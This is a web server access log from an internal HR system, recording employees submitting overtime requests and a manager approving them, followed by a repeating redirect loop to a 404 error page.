192.168.11.136 - - [03/Sep/2025:09:14:29 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.136 - - [03/Sep/2025:09:14:29 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:09:14:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:09:14:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.136 - - [03/Sep/2025:09:14:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.136 - - [03/Sep/2025:09:14:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:32 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.136 - - [03/Sep/2025:09:14:32 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:09:14:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.136 - - [03/Sep/2025:09:14:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:57 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2554909112025685 HTTP/1.1" 200 8900 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:57 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2554909112025685 HTTP/1.1" 200 8900
192.168.11.136 - - [03/Sep/2025:09:15:12 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2554909112025685 HTTP/1.1" 200 24844 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2554909112025685" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:15:12 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2554909112025685 HTTP/1.1" 200 24844
192.168.11.136 - - [03/Sep/2025:09:17:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:17:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.136 - - [03/Sep/2025:09:17:06 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131042%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131042&target=iframe HTTP/1.1" 200 3251
192.168.11.136 - - [03/Sep/2025:09:17:06 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131042%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131042&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:17:07 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084
192.168.11.136 - - [03/Sep/2025:09:17:07 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131042%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131042&target=iframe" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:17:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:17:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
100.64.0.1 - - [03/Sep/2025:09:17:13 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:09:17:13 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
192.168.11.136 - - [03/Sep/2025:09:17:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4463795285728499 HTTP/1.1" 200 8900
192.168.11.136 - - [03/Sep/2025:09:17:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4463795285728499 HTTP/1.1" 200 8900 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:17:20 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4463795285728499 HTTP/1.1" 200 24844
192.168.11.136 - - [03/Sep/2025:09:17:20 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4463795285728499 HTTP/1.1" 200 24844 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4463795285728499" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [03/Sep/2025:09:18:08 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:09:18:08 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:09:21:51 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:09:21:51 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:09:22:17 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:09:22:17 +0800] "GET / HTTP/1.1" 200 439
192.168.12.33 - - [03/Sep/2025:09:22:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.12.33 - - [03/Sep/2025:09:22:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:18 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:18 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.33 - - [03/Sep/2025:09:22:21 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:21 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:09:22:21 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.12.33 - - [03/Sep/2025:09:22:21 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10550 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10550
192.168.12.33 - - [03/Sep/2025:09:22:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 49604 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 49604
192.168.12.33 - - [03/Sep/2025:09:22:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 155733 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 155733
192.168.12.33 - - [03/Sep/2025:09:22:38 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:09:22:38 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131043%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131043&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131043%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131043&target=iframe HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:09:22:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:09:22:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:09:22:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:09:22:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:09:22:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:09:22:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:09:22:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:09:22:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:09:22:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:09:22:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
